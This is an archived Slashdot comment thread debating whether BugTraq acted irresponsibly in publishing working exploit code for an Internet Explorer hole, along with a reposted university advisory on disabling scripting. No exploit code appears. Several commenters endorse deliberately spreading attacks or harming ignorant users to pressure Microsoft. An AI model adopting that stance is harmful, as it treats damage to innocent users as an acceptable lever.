Slashdot Mirror


Controversy Surrounds Huge IE Hole

Suchetha wrote in with a Wired News bit talking about security hole in IE that allows malicious web pages to reformat a hard drive. The Wired talks more about bugtrack's handling of the whole thing, and how it essentially posted working code for the exploit. Was it irresponsible or not?

135 of 740 comments (clear)

  1. Of course it was irresponsible by Anonymous Coward · · Score: 4, Insightful

    If they cared about preserving security for users, or getting the defect fixed, they'd have given the working code exclusively to the defect owner. Posting working malicious code to the general population serves NO BENEFIT to anyone other than those with malicious intentions. You can properly describe 99.99% of bugs without giving people the tools to take advantage of it.

    1. Re:Of course it was irresponsible by sirket · · Score: 4, Interesting

      Until a large percentage of the public gets screwed royally by a security hole, people are not going to take notice and start auditing their code as they should.

      As a side note: I am rather sick and tired of reading about the latest MS IE/OE/Outlook exploit on Bugtraq. There needs to a be seperate versions of Bugtraq for: Cross Site Scripting Vulnerabilities (Enough already), and Non-OS elated holes in MS software (We already have Bugtraq-NT).

      -sirket

    2. Re:Of course it was irresponsible by Myco · · Score: 4, Interesting

      That's a very good point. It encourages a somewhat radical interpretation: that the best way to get MS off their ass is to basically actively encourage all the script kiddies to use every exploit out there as much as possible until it's fixed. Sowing the seeds of dissent is a very worthwhile endeavor.

    3. Re:Of course it was irresponsible by Nermal · · Score: 5, Insightful

      Umm...

      But until a large percentage of the population gets screwed royally by a security hole... a large percentage of the population hasn't gotten screwed royally by a security hole!

      Don't get me wrong, MS should be faster to patch their security holes, but where are your priorities? If you were confronted by someone who had just lost a bunch of important data because of this exploit, do you really think they'd be impressed if you said "But I was trying to make a very important point to Microsoft!".

    4. Re:Of course it was irresponsible by AgentTim3 · · Score: 5, Insightful
      You know, the script kiddie that's waiting around for exploits to be published on bugtraq is a pretty junior kiddie indeed. This thing's been out there for a couple weeks.

      What's a worse situation? A bug that goes completely unnoticed by the general population, but is quietly exploited for months by hackers that have done their homework....or...maybe a few more script kiddies find out about it but now Joe Public is WELL aware of it, due in no small part to the discussions that happen on boards like this.

      And riddle me this, how is Symantec possibly irresponsible in this matter? They have no responsiblity whatsoever towards Microsoft or any of their products; they're both separate corporations. They both pursue their own separate agendas as they see fit. The good that comes of this is that maybe the public gets a little more aware of the situation.

      MS has its own side to this, Symantec has its own side, they both have valid points to their arguments, but what winds up happening is the general public gets caught in the middle. If just one more person wakes up and realizes that because of this, then there's the real benefit.

    5. Re:Of course it was irresponsible by timothy_m_smith · · Score: 5, Interesting

      What if we changed the scenario a little bit. Imagine that 50% of the world is using Mozilla on Linux (or even that there is a large body of non-technical using Open Source Software). Say that a bug was revealed that allowed a website to maliciously delete data from a user's Linux/Mozilla installation. In the Open Source world, this bug would probably be patched very quickly, probably more quickly than MS would. However, keep in mind that you average non-technical user is not going to be checking for frequent patches. When someone (who should be more responsible) releases code to exploit that hole, you have potential average users who may be losing very valuable data. Are these users getting what they deserve? The point is that no one should be helping the script kiddies screw up other people's machines. If you believe in that then you're not a productive part of the technology community.

    6. Re:Of course it was irresponsible by walt-sjc · · Score: 5, Insightful

      Frankly, the fact that there is an exploit to reformat peoples hard drives is a GOOD thing IMHO. As a matter of fact, I hope it bites tons of people. The fact that "the average user" doesn't check for updates and maintain their machine NEEDS TO CHANGE.

      The auto is a great example. If you didn't maintain your car (change the tires, fix the brakes, etc.) when it needed to be done, YOU are a danger to yourself and others around you.

      People who don't maintain their machines are a big problem on the net. They are responsible for being DDOS agents, virus distributers, etc. MS (and other software vendors including open source) being slow at releasing patches is ALSO an enabler for distructive issues on the net.

      Back to the article, it IS irresponsible to release exploits when the vendor hasn't had a reasonable amount of time to fix the bug and distribute the patch. There is an indjustry accepted time frame for this. If the vunerability is already well known in the wild however, keeping it a secret from the public does NO GOOD WHATSOEVER. The script kiddies keep in touch via IRC, and other mechanisms so they will know about the vunerability anyway. Not releasing the info only harms the public as they will have no chance to be prepared. Admins can add filters to their proxies for example, but they need to know details about how the exploit works in order to do so.

      Keeping secrets about vunerabilities that are already known to the black-hats only harms the rest of us.

    7. Re:Of course it was irresponsible by JabberWokky · · Score: 5, Interesting
      keep in mind that you average non-technical user is not going to be checking for frequent patches.

      Since it's free and extraordinarily easy, why not? Most distros have single click or single commandline (often both) commands to update, with all security upgrades occuring, and offering new features.

      And it's that second part that makes me think people *will* be upgrading. Unlike many commercial software packages (and all of Microsoft's software), where you have to pay for the next version with the next features, it's free and automatic to upgrade and get more features. Your CD burning software suddenly supports VCDs, your KWord suddenly has mailmerge wizards, and... oh, that hole in SSH was fixed as well. People don't care about the latter, but they care about the features, and that pushes the bug fixes and security fixes along.

      --
      Evan

      --
      "$30 for the One True Ring. $10 each additional ring!" -- JRR "Bob" Tolkien
    8. Re:Of course it was irresponsible by bergeron76 · · Score: 5, Interesting

      But this begs the question: Can MSFT be held responsible (in spite of the EULA) in a situation like this where a user "removed IE" (remember the US DOJ ruling, they have to provide the option) and didn't use Outlook or Outlook express, if they were to get infected? I only use Mozilla for email and browsing, but it occurred to me that IE is so "entrenched" in the core Windows code that even if it's its removed do they remove the dangerous parts or just the UI? Mozilla is my default browser, yet when I click on a link from Y! messenger, it spawns IE.

      Basically, my question is this: Can Microsoft be held accountable for negligence if I removed IE and still got wiped out by this thing because they didn't remove all of IE, as per the Court's ruling (on making it an optional component)?

      Wouldn't negligence in this regard supercede the EULA and make MSFT liable?

      Any legal beagles out there have any insight? (IANAL)

      --
      Don't think that a small group of dedicated individuals can't change the world. It's the only thing that ever has.
    9. Re:Of course it was irresponsible by buzban · · Score: 3, Insightful
      interesting point.

      i can't agree though. if this situation was in fact under an open source O.S. (e.g., Linux) how would the tons of potential problem fixers get the details unless the exploit was explicitly expressed on the Internet?

    10. Re:Of course it was irresponsible by Dephex+Twin · · Score: 4, Interesting

      Does this not sound pretty absurd? That's like saying, "the police in my town are lazy and aren't cracking down on crime. That's why we need to start committing crimes left and right and encouraging others to do the same until the cops are motivated enough."

      Ummm, you do realize that in the meantime, you are committing crimes and screwing up innocent people's lives right? You do realize that it isn't the laziness of MS that *actually* does harm, but the fact that it allows malicious people to do bad things? Doing the malicious thing itself or helping people directly to do that is a heck of a lot worse than anything MS might be doing.

      --

      If you want to make an apple pie from scratch, you must first create the universe. -- Carl Sagan
    11. Re:Of course it was irresponsible by ichimunki · · Score: 5, Insightful

      Your analogy is totally off. Publishing a how-to isn't "committing a crime", it's journalism. A few years ago I saw a TV news spot on car break-in/theft in which they showed a car thief disabling several anti-theft devices. Was the TV news breaking the law or simply alerting people to how false their sense of security really was?

      This is why, in these cases, I think the argument would be well-served if people avoided analogies altogether. It's difficult enough to attempt to clarify the assumptions and facts so that symbolic logic can be applied to reach sensible conclusions without muddying the waters with literary devices.

      MS is recklessly endangering your computer and your data with their shoddy attention to security prior to release. I think BugTraq is doing us all a favor by pointing it out.

      --
      I do not have a signature
    12. Re:Of course it was irresponsible by Pyrometer · · Score: 5, Funny
      What's a worse situation? A bug that goes completely unnoticed by the general population, but is quietly exploited for months by hackers that have done their homework....or...maybe a few more script kiddies find out about it but now Joe Public is WELL aware of it, due in no small part to the discussions that happen on boards like this.

      Riiighhhhtttttt ... so "Joe Public" is reading /. and Wired now is he(/she)? :)

    13. Re:Of course it was irresponsible by ivan_13013 · · Score: 5, Insightful
      That's like saying, "the police in my town are lazy and aren't cracking down on crime. That's why we need to start committing crimes left and right and encouraging others to do the same until the cops are motivated enough."


      No -- nobody is committing a crime yet. This is more like if Joe Whistleblower were to say, "My town's police are lazy and resistant to change their ways, so I am going to publically talk about their problems. The public needs to be warned for their safety, and the PD needs to get their a** in gear."

      Well, after Joe says that, some residents may take extra precautions to protect themselves. Also, some potential criminals now know have information that police response time is bad, and they may take advantage of this by breaking the law.

      Whose fault is that? The police, for failing to keep the town secure in the first place? JW, for letting potential criminals know about the flaw in the system? Or was it the criminal's fault because he was the one breaking the law?

      I believe that it's mostly the fault of the criminal when crimes are committed, and some blame should also go to the police if they have failed to protect. Joe was just doing his duty.

      But comparing MS to the police is too much of a frightening thought, time for the happy pill... ;-)

      -=Ivan
    14. Re:Of course it was irresponsible by vericgar · · Score: 3, Insightful

      I may seem absurd, but the way I see it, it really isn't.

      Say most homes doors and locks from the same company. Some person discovers that you can open the door by lifting the handle and turning even if the door was locked. If this information wasn't release to the public, then many people would never know. Granted, some people would figure that out, but many would not. One of those that figure it out get his face on the news and let's everyone know how to do that. How fast do you think the company that made the doors would be having a recall then if only a lot fewer people knew and there wasn't as many problems?

      The diffrence between Microsoft and this imaginary door company comes however, is that once a few people discover this problem with the doors, the company would issue a recall. Microsoft (though many other companies do this also, Microsoft isn't the only one) in most cases would hide the fact, and even when it was brought public sometimes waits months before fixing the hole.

      Granted your front door to your home is usually much more important then your computer, but you can see what I mean...

    15. Re:Of course it was irresponsible by InnovATIONS · · Score: 5, Insightful

      Pointing out the existence of the bug is a service. Giving how-to lessons about using it to wreck havoc is irresponsible. Maybe you may call it journalism, but it is irresponsible journalism. The public's need to be alerted about auto theft was in no way enhanced by actually showing how to defeat the devices. Similarly the public's need to know about caring about security holes in software is in no way enhanced by showing them how to exploit the holes maliciously.

    16. Re:Of course it was irresponsible by 0x0d0a · · Score: 4, Insightful

      Actually, the mainstream media has gotten in the habit of snagging feelings about things off major tech forums like Slashdot.

      Code Red got *tons* of coverage, despite it not being all that interesting from a technical standpoint. Joe Public knew about it, even if he didn't know what it was (and didn't know that MS's products were the only ones at fault).

    17. Re:Of course it was irresponsible by Mnemia · · Score: 4, Insightful

      I disagree. The script kiddy is the one who is a criminal, but the users who fail to maintain their machines are most definitely acting irresponsibly as well. No, it doesn't give a script kiddy the RIGHT to crack you if you don't patch your machine, but you're still stupid not to. People should use some common sense and try to protect themselves, if only so that they aren't a danger to others.

      Your argument is like saying it's totally not my fault if I park my unlocked car with the keys in the ignition in a bad part of LA and someone steals it. Sure, that person was doing something wrong, but I'm still a moron to not take any precautions to avoid its theft. It's exactly the same thing here - yes, the script kiddies shoulder the majority of the blame, but if I'm not stupid I will try to protect myself since there is zero chance the script kiddies are going to go away.

      In fact, people not maintaining their machines is even worse than this analogy because a cracked machine becomes a weapon against others. That's more akin to an airline failing to take any security precautions and then saying it's completely not their fault when someone hijacks their plane and flys it into a building.

    18. Re:Of course it was irresponsible by pjrc · · Score: 5, Insightful
      That's like saying, "the police in my town are lazy and aren't cracking down on crime. That's why we need to start committing crimes left and right and encouraging others to do the same until the cops are motivated enough."

      It's much more like the local newspaper publishing the limited routes the cops actually patrol, thereby allowing crooks to rob the places that aren't adaquetely protected. Sure, criminals will read the paper and know where they can strike, but the idea is that everyone who lives or does business in such an area is venuerable will learn that they are at risk and put pressure one the cops to clean up their act. One of the biggest factors in making a value judgement in a case like that is what level of effort was made with the cops before widely publishing their weaknesses.

      Remeber that Andreas Sandblad contacted Microsoft about this problem on Oct 4 (Wired didn't even read the bugtraq posting they reported). That's six weeks ago... even longer than the 1 month period that Microsoft has suggested is necessary from discovery to disclosure. He published only after Microsoft said they didn't think it was a bug. Since Microsoft essentially claimed it wasn't a problem, the announcement needed to prove otherwise to have any chance of success.

      One more quote....

      You do realize that it isn't the laziness of MS that *actually* does harm, but the fact that it allows malicious people to do bad things?

      Are you suggesting that Microsoft's inaction and refusal to fix the problem when they first learned of it six weeks ago was not harmful?

      You probably also believe the infamous exploding gas tanks on the Ford Pinto wasn't harmful, and the deaths and injuries were purely the fault of drivers hitting Pintos. Ford's "laziness" (cheaper to settle out of court with victims than the recall and improve the cars) when they knew of the problem and did not fix it probably wouldn't be an issue for you, would it?

      Back to Microsoft... who didn't fix the problem when they learned of it 6 weeks ago... does their inaction ever become harmful in your world view? How about when systems are compromised on a small scale? What about when a virus/worm is released with the ability to exploit it? (and what if someone had made a big stink about it in the press and forced them to fix it before that virus/worm was written) It's all the faults of those hackers, and Microsoft's "laziness" (when they knew of the problem in advance) never receives any of the blame? Yet someone who attempts to force the issue with a high profile public announcement, only after first having made an attempt to get them to fix it, is somehow as guilty in your little world as the actual attachers and at the same time the vendor who refused to fix the problem with advanced notice is not to blame at all?

    19. Re:Of course it was irresponsible by ivan_13013 · · Score: 4, Insightful
      ...publicly stating there is a crucial problem is different than showing how to exploit it. I think giving very direct info on how to carry out said bug steps beyond the middle ground.

      In that respect, it feels like the plan is to make MS's exploits do harm to people and ruin MS's reputation, so people will leave the platform...
      Well, if they were to mysteriously state that there is a problem, without enough information to reproduce the flaw, you are not giving enough information for the people to protect themselves. (You can tell them what settings to lock down, or you can just tell them not to browse the web with IE, but that is not the same as letting them protect themselves)

      The people responsible for keeping PCs secure want to get their hands on the exploit ASAP, so that they can try to put up barriers to stop this problem. If you keep the exploit secret so that they cannot TEST their work, they are just working blind!

      I don't really think there is a "plan" like you describe. I think that BugTraq is just doing their duty by disseminating this information. Microsoft should have known at least two weeks ago, that they needed to patch this flaw which could affect millions of users of their products. Yet they still have not done so. By the time BugTraq posted it, most of the electronic intrusion experts throughout the world already knew about it.

      -=Ivan
    20. Re:Of course it was irresponsible by Anonymous Coward · · Score: 5, Funny

      You will have a hard time proving this, because all of your data would be gone...

    21. Re:Of course it was irresponsible by Codifex+Maximus · · Score: 3, Insightful

      Truly. The crackers already know so the posting of the exploit has no real negative effect. Better to let everybody know of the hole so they can be shocked into patching it.

      If you look at the issue from the other side, you will see that the crackers would use the exploit and happily remain unseen. What you don't know *CAN* hurt you!

      --
      Codifex Maximus ~ In search of... a shorter sig.
    22. Re:Of course it was irresponsible by Reziac · · Score: 4, Insightful

      After some thought, I concluded I'd rather have the exploit published in all its glory.

      The script kiddies already have the info, and pass it around like wildfire, so it's not telling them anything they didn't already know. The newbies who join the fun because of a publicly-published howto won't amount to a drop in the bucket.

      But having the code public does let me the user know what to look for, so if I see Suspicious Web Whatever, I can think to myself, "Self, that looks like Exploit X, tread with caution." And having a real example lets me check out what it looks like in the wild, so I can warn my clients to keep an eye out for it.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    23. Re:Of course it was irresponsible by Blkdeath · · Score: 4, Insightful
      I don't see how this extended explanation helps the average person (those who are lock experts and hardcore burglars already know/know where to find out).
      The general population has this habit of not believing things. There's an old addage that goes; "Tell a man there are a billion stars in the universe and he will believe you. Tell him a bench is covered in wet paint and he'll touch it." (Or something to that effect).

      If I told people that I could disable their electronic car alarms, get around their club, hotwire their ignition switches and drive off with their car in under 2 minutes, they'd scoff. If I did it, they'd take note, and their false sense of security will quickly dissapear.

      Likewise with computers; if you tell a person that the product they're using (web browser, web server, operating system, etc.) is insecure, they won't believe you. You could quote statistics, point to empirical evidence, and give them all the hard facts you could muster; but they'll scoff at you and retort "It's never happened to me, so I don't know what you're talking about." But if you go home and proceed to shuffle the files around on their hard drive and leave 'love letters' on their desktop they just might sit up and start paying attention.

      I'm all for giving people practical lessons in their own ignorance. The more ignorant, and the more wilful and obtuse that ignorance, the more torture they should be put through.

      In an ideal world people would take standard precautions with these extraordinarily powerful batches of silicon they're connecting to a T1-or-greater speed link with the potential to cause severe damage to any number of multi-billion dollar, multi-national computer systems (along with your average run of the mill corporation and home user machines) and/or trust in trained professionals to implement atleast rudimentary precautions for their computers (and home LANs), and perhaps (just perhaps!) take their advise with a little more than just a grain of salt. I've completely given up telling people that Outlook (Express) is an insecure P.O.S. because they just don't listen. Besides that, I've decided that I prefer a business where they keep coming in and occupying one of our benches at $35/hour while we eradicate their latest viral infection or backup any data we can recover before we format their drives and re-install Windows.

      (For the record; for many of them, just one instance of being 'schooled' by malicious types doesn't always teach them. We have a lot of repeat customers in the virus / system recovery market)

      Long story short; until you kick them in the pants, they just won't believe that it'll hurt.

      --
      BD Phone Home!

      Shameless plug. Like you weren't expecting it.

    24. Re:Of course it was irresponsible by Fat+Casper · · Score: 3, Insightful
      ...it wasn't Ford's laziness that *causes* the explosions, it is just gross neglect that doesn't stop it from happening. I think publicly saying there is a problem like that is a good idea. Explaining how to exploit the problem and blow the tank up maliciously is exacerbating the problem and making *potential* harm into real harm.

      Had I owned a Pinto, I would have been grateful to someone who told me under what circumstances my gas tank would explode. That would have been a more constructive announcement than a simple "Pintos blow up a lot."

      To pull from other analogies here, "ACME rent-a-cops tend to sleep on the job" or "the police don't patrol the north end of town much" are similarly informative, accurate and constructive. The code was posted in the context of security, okay?

      --
      I spent a year in Iraq looking for WMD and all I found was this lousy sig.
  2. The Wired, huh? by Millennium · · Score: 5, Funny

    The Wired talks more about bugtrack's handling of the whole thing...

    Dude; since when did Lain start writing technical articles?

  3. Yes!!! by jschmerge · · Score: 5, Insightful

    It might be my sadistic side, but I prefer for working exploits to be posted by the security sites... It gives you a way of checking to see if you are vulnerable.

    In the case of M$ bugs, it also puts more pressure on the company to come up with a fix for the problem quickly.

    1. Re:Yes!!! by AresTheImpaler · · Score: 5, Funny
      It might be my sadistic side, but I prefer for working exploits to be posted by the security sites... It gives you a way of checking to see if you are vulnerable. In the case of M$ bugs, it also puts more pressure on the company to come up with a fix for the problem quickly.

      Right in the point man. Now, I'm running the code right now to see if im vulne

    2. Re:Yes!!! by GenericJoe · · Score: 5, Funny

      Yeah, but now you *aren't*

      It's a self-fixing exploit!

  4. Its not new anyway by Anonymous Coward · · Score: 4, Interesting

    The article states that the code wasn't new, and was taken from public forums etc. So I don't really think that this is irresponsible..

  5. Thanks by DigitalDragon · · Score: 4, Funny

    Thanks for not posting a link to that page.

    --
    http://dtum.livejournal.com
  6. well.. by Sacarino · · Score: 3, Funny

    What may be MORE irresponsible is /. posting a link to Wired posting a link to the exploit for all the l33t script kiddies here.

    No, wait... there's no script kiddies here. Only hax0rz with K-rad XP boxen.

    --
    -- El Sacarino tiene gusto de la chocha
  7. Active content... by wowbagger · · Score: 4, Informative

    I cannot help but notice that in almost all cases, the security problems in both IE and Mozilla have been in the realm of active content - Javascript, Flash, and ActiveX.

    Hence why I as a matter of course disable them.

    How about encouraging webmasters and web designers to avoid requiring them unless absolutely necessary?

    1. Re:Active content... by psocccer · · Score: 5, Insightful

      It's not that simple I think. True that active content is overused, but it can really be helpful when you don't want to roundtrip to the server just to calc some numbers, and twiddling settings is annoying for the user, if they choose to turn it off and on. It would be better if the thing was secure. The problem IE has in particular is they try to "zone" thing, local zone, trusted zone, internet zone, secure zone, etc. They do this so that you can have stuff in the local zone executre programs or virtually do anything on the system. And that's the problem, by trying to make javascript in to a generic scripting language, they've opened up the local zone to anyone that can break through the zone barrier.

      Most exploits involve one javascript generating a second window which comes into the local zone and posting content to that, though I think that's somewhat patched now, they can also use ActiveX controls to screw you. There is obviusly something flawed with the model, and had they just made javascript a web only scripting language like it was designed, none of this would have happened.

    2. Re:Active content... by michaelggreer · · Score: 4, Insightful

      I agree. Javascript is very useful as a web scripting language, but a horrible idea as an OS scripting language. There is no reason to blame JS, just Microsoft's allowing it to roam outside the webpage. In fact, i would suggest that the problem is never Javascript, but ActiveX accessed from Javascript. ActiveX is the hole into the local system, Javascript is just the controlling language.

    3. Re:Active content... by RAMMS+EIN · · Score: 3, Informative

      ``web only''
      You got it right there. The problem is that M$IE is at the core of M$ Windows. It's not just the web browser, it's also the file manager. This means that it both runs scripts provided on websites, and modifies the local hard drive. Does this sound like two things that can't be combined without huge security issues? It does to me.

      In addition, Micro$oft has decided that standard technologies like JavaScript and Java aren't good enuogh for them. They need to have JScript, VBScript, MicroSoft Virtual Machine (which they claim is Java compatible - it may have been, once, but it certainly isn't today), and ActiveX. All these are new implementations, developped by one company, boud to make the mistakes that may already have been patched in more established efforts made by the rest of the world. Reinventing the wheel is not only redundant, but also dangerous.

      Moreover Micro$oft's feauture-geilheit has led them to make Internet software do things it has no business of doing. Email programs execute programs sent as attachments, ActiveX allows webpages to do things with DLLs on your hard drive. This is just bound to lead to holes. Keep It Simple, Stupid!

      In all fairness, I have to add that there are some pretty nasty things in non-MicroSoft technologies as well. Take, for example, Java. It suffers from the same it's-for-the-web-but-also-for-real-programs disease as M$IE, VBScript, and ActiveX. It is true that those features that access the local computer have been shielded off pretty well in Java, but there _could_ be holes.

      And even without these holes, Java applets can do a lot of harm. What if, for example, someone operating a popular website included some Java Applet that openened a TCP/IP link to somewhere it received instructions from, and then, on the master's command, launched a DDoS attack on some site? But then, this sort of thing is almost impossible to prevent - supposedly the owner of this popular website could just cause all visitors to be redirected to the site he wanted to attack. Slashdot linking comes to mind...

      Now that we're talking about sockets, I just need to make the case for sockets in JavaScript. I know that people are fiddling with XML-RPC and SOAP these days, to make websites more interactive. I can't see how these could make websites more interactive than common HTTP POST based implementations - in fact, XML-RPC and SOAP _are_ HTTP POST. JavaScript was developed with the specific purpose of making websites more interative - by enabling them to change without the user having to send a new HTTP request. Many things, like editors, mail clients, etc. work just fine with HTML forms and a little JavaScript. The one type of application that doesn't work with this model is the type that requires realtime interaction with the server. It can be kludged by having JavaScript submit invisible forms, but all those HTTP request and response headers seem like a lot of wasted bandwidth if you just want to send a short message, not to mention the overhead from having to make a new connection for each reqest, as was the case with the old HTTP 1.0 . Sockets are flexible. Sockets are simple. Lack of sockets is the last thing that keeps me from writing all my software (well...) in HTML and JavaScript. Do I _really_ need to have my visitors download a multi-megabyte Java plugin just to get socket support? Sorry for the rant, just had to say it.

      --
      Please correct me if I got my facts wrong.
    4. Re:Active content... by Jucius+Maximus · · Score: 4, Funny
      "How about encouraging users to use browsers that don't suck [mozilla.org]?"

      Sometimes encouragement is not necessary. I installed mozilla on my sister's machine, changed the IE link on the desktop to link to mozilla (but still with the blue 'e' icon) and installed an IE-lookalike skin on mozilla and she hasn't noticed the difference yet. (It's been about a month now.)

    5. Re:Active content... by Malcontent · · Score: 3, Informative

      "What if, for example, someone operating a popular website included some Java Applet that openened a TCP/IP link to somewhere it received instructions from, and then, on the master's command, launched a DDoS attack on some site? "

      I thought applets could only open up sockets to the server they were loaded from. Has this changed? If not then your scenario would never happen.

      --

      War is necrophilia.

  8. Shooting the messenger .. by zyklone · · Score: 3, Insightful

    Ok, so they acknowledge that microsoft has known about the problen since November. But the messenger is still the one that should be shot. And not microsoft since they are "investigating the issue".

    The article is just stupid ...

    1. Re:Shooting the messenger .. by zyklone · · Score: 5, Informative

      Ok, I expected that more people read bugtraq.. which is obviously not the case.

      Their version of november is not actually the real november. From Andreas Sandblads mail:
      "Microsoft was initially contacted 2002-10-04."

    2. Re:Shooting the messenger .. by xrayspx · · Score: 5, Funny

      Go ahead, shoot Messenger. It's had its fair share of bugs too...

      Whoopsie
      Daisy

  9. Re:Irresponsible? by nuggz · · Score: 4, Insightful

    Yes I'd be pissed off, and I would be mad that they posted an exploit.

    However I'd also be quite upset at my vendor for letting this happen.

  10. what is the stink about it.... by f00zbll · · Score: 5, Insightful
    If people think script kiddies didn't already have the code or grabbed the exploit off some IRC server, they are sadly mistaken. People who bitch about full disclosure would like to live in a nice little world where there's no hackers, but get real. I grew up around hackers. Some were brilliant and were coding in assembly at 10, others were lamers wannabe hackers. Even before the Internet these types of things we widely distributed within the model Bulletin boards. Anyone who was active in the Bulletin Board era knows the most active category was always virii.

    Those who think, "We should give MS a couple months to find an appropriate patch" are sadly misguided. Do you think a script kiddie or hacker is going to wait? Do you think they're going to say "Oh, I shouldn't do this because microsoft is a big company." Wake up people, the only way a company is going to put their top programmers on the job to fix the bug is when the threat moves from "possible" to "real". As much as I wish companies too exploits more seriously, the reality is they don't until it is percieved as a "real immediate threat."

  11. Re:Irresponsible? by Proaxiom · · Score: 4, Informative
    It's not as easy as that. The folks at Symantec have a good point: it was already available in a number of public forums, so disclosure wasn't an issue anymore.

    The criticism has a bit of a different skew:
    "Symantec's actions give the impression that they are encouraging people to create and release malicious code. Given that Symantec also sells security and antivirus software, I think there is a terrible conflict of interest here."

    I have to admit I wonder about this myself from time to time.

  12. Slashdotted Already - Article Text by Anonymous Coward · · Score: 5, Informative

    Posting as Anon since I don't need the Karma:

    ----------

    Serious Internet Explorer Defect

    This is a developing issue and the information presented here is preliminary in nature and subject to frequent changes. Last significant update - 11/08/02-1830

    SUMMARY

    A simple way to exploit an unfixed defect in Internet Explorer has been discovered that allows malicious web sites, and possibly malicious email messages read with Outlook or Outlook Express, to take control of a computer. All you would need to do is click a web link and the owner of the web site could take almost any action they desired on your computer.

    Simple, working exploit software was recently published to a public mailing list.

    There is no patch to fix the problem. Anti-virus and personal firewall software will not prevent an exploit. It is hoped that Microsoft will provide a patch to fix this defect in the near future.

    It is impossible to predict how, when, or even if someone will take advantage of this but due to the ease with which bad things can be accomplished it was decided to post an announcement. Nothing at all may happen. Or someone could write a virus or put up a malicious web site to take advantage of the situation at any time. The last time a defect exploit with similar characteristics was published, it was quickly incorporated into many email viruses making it unnecessary to click an attachment to get infected.

    The following practices are recommended for users of Internet Explorer, Outlook, and Outlook Express until more information becomes available:

    1. Users of Outlook and Outlook Express should perform the following simple, unobtrusive procedure to disable scripts from executing in email messages:

    Click the Tools menu item and select Options

    Click the Security tab

    In Outlook Express, make sure the Virus Protection security zone is set to Restricted site zone as shown in the window below:

    In Outlook, make sure the Secure Content Zone is set to Restricted Sites as shown in the window below:

    These are the default settings for Outlook 2002 and Outlook Express 6. Users of earlier versions should change the setting to Restricted.

    2. Indiscriminate browsing of untrusted or questionable web sites should be avoided or scripting should be disabled as described in the additional security measures below. Note that hyper links sometimes appear in email or instant messages. If these messages are from malicious individuals, they could lead you to a malicious web site.

    3. Indiscriminate clicking of hyper links in unexpected or suspect email messages, instant messages, and peer sharing resources should be avoided or scripting should be disabled in Internet Explorer as described in the additional security measures below.

    ADDITIONAL SECURITY MEASURES AND INFORMATION

    There is only one technical defense against an exploit at the present time and that is to disable scripting in Internet Explorer, Outlook, and Outlook Express. Instructions for disabling scripting in the mail clients were included in the recommendations above and should have little or no effect on day to day use.

    Unfortunately, disabling scripting in Internet Explorer will adversely affect the operation of many web sites including E-campus and the Windows Update Site. There is, however, a way to specify trusted web sites that are are allowed to use scripting and disable it for all others. Users desiring to decrease risk may follow the instructions at the following web site under the section titled "Optional Internet Explorer Security Measures":

    http://www.jmu.edu/computing/info-security/engin ee ring/issues/ie.shtml#opt

    Risk associated with this exploit and most others can be somewhat reduced by using a non-Administrative Windows account when browsing the web, reading email, and other day to day computer use.

    The defect has been verified in Internet Explorer 5.5 and 6 SP1 running on Windows 98 and XP SP1 respectively. It is likely all varieties of 5.5 and 6 are vulnerable. A quick attempt on a Windows 95 computer running IE 5.0 was unsuccessful but not enough research was done to know why.

    A possible symptom of an exploit is a Window similar to the one below suddenly appearing on your screen after clicking a hyperlink or opening an email message. The exact appearance of the Window may vary depending upon the version of Internet Explorer and operating system. Note that this window will appear if you click Help and under that circumstance the window appearance is not an indication of an exploit. If you are affiliated with James Madison University and see this window unexpectedly appear after clicking a web hyperlink or reading an email message, please contact Gary Flynn at x82364 ASAP. People affiliated with James Madison University can find my home number in the local directory and are encouraged to call me at home if such an event takes place after normal working hours.

    1. Re:Slashdotted Already - Article Text by njdj · · Score: 5, Insightful

      There is only one technical defense against an exploit at the present time and that is to disable scripting in Internet Explorer, Outlook, and Outlook Express.

      Crap. The simplest and most appropriate technical defense is to switch to another browser. Even Windows users have a choice of browser.

  13. Know the code, avoid the code? by Anonymous+Custard · · Score: 4, Insightful

    If I don't know what the malicious code is, how am I supposed to avoid it?

    Informed security is way better than uninformed security.

    Anyone who wants to use this exploit will find out how. The exploit-users already know how to use it and will tell their friends, so we may as well know also.

  14. Proposition, new topic: Windows Bugs by pheph · · Score: 5, Interesting
    Wouldn't it be great to seperate Microsoft Bugs from, well, the rest of them? I'm sure some people, especially those on slashdot would choose to see the "Microsoft Bugs" topic on the front page based on if they:

    a.) Run Microsoft exclusively (only want to see Microsoft bugs)
    b.) Run Microsoft exclusively (don't want to see Microsoft bugs)
    c.) Want to find any reason to bash Microsoft... (only want to see Microsoft bugs
    d.) Don't run Microsoft at all (don't care about Microsoft bugs)

  15. Easy by 4of12 · · Score: 4, Insightful

    • It's responsible to warn users immediately that a vulnerability exists and to sketch out broadly what kind of vulnerability it is and how to recognize it.
    • It's irresponsible to post a working exploit prior to notifying the code maintainer of the existence of the problem.
    • At some point it becomes necessary and convenient for vulnerable users to have a tool they can use to test for the vulnerability and to see if they can protect themselves from the exploit. They should have the tool in a relatively short time frame, comparable to the same timeframe that crackers make tools from the exploit.

    Too many companies (software vendors, security consultants) are financially vested in how bad the security blackeye looks in the marketplace and it colors their policies regarding security notification.

    As far as I'm concerned, the interests of the software users should be the primary concern.

    --
    "Provided by the management for your protection."
  16. Bugtraq, not bugtrack, and other squibbling. by signine · · Score: 5, Interesting

    BugTraq is a mailing list dedicated to full disclosure. Before I get modded down for being redundant, let me explain how/why this is relevant. In a list dedicated to full disclosure, it becomes up to the person who drafts the advisory to be responsible for it's content. Many companies believe that vendor notification before releases is standard procedure, and yet there are others (ISS) who seem to believe that having one non-vulnerable version (bind 9) means that they can release an advisory that affects other versions that currently have no patches (bind 8, 4).

    On the other hand, there are "independents" such as GOBBLES and other security goons who believe that posting the advisory with full exploit code the second they discover it is a good idea. I'm not going to disagree with that, because without such wake-up calls, many people would never update their systems, remaining vulnerable for days/months/years. It's pretty ridiculous how many people do.

    It's not really up to BugTraq to decide which is the better course of action, it's up to the analysts and the community. If the community chooses to ostracize a member for using such tactics, they can do so. I'm sure that a commercial security vendor would encounter exactly that for releasing an advisory with exploit code and no vendor notification.

    Though, in all fairness, most people have known about this IE exploit for months, and I can be reasonably sure that among "most people" "Microsoft" is included. Microsoft doesn't exactly have the worlds best track record working with people to resolve security issues, or even releasing timely patches.

    In short, BugTraq good, security good, black hats bad.

    --
    If there is a God, you are an authorized representative. - Kurt Vonnegut Jr.
  17. Would've happened eventually by psocccer · · Score: 3, Informative

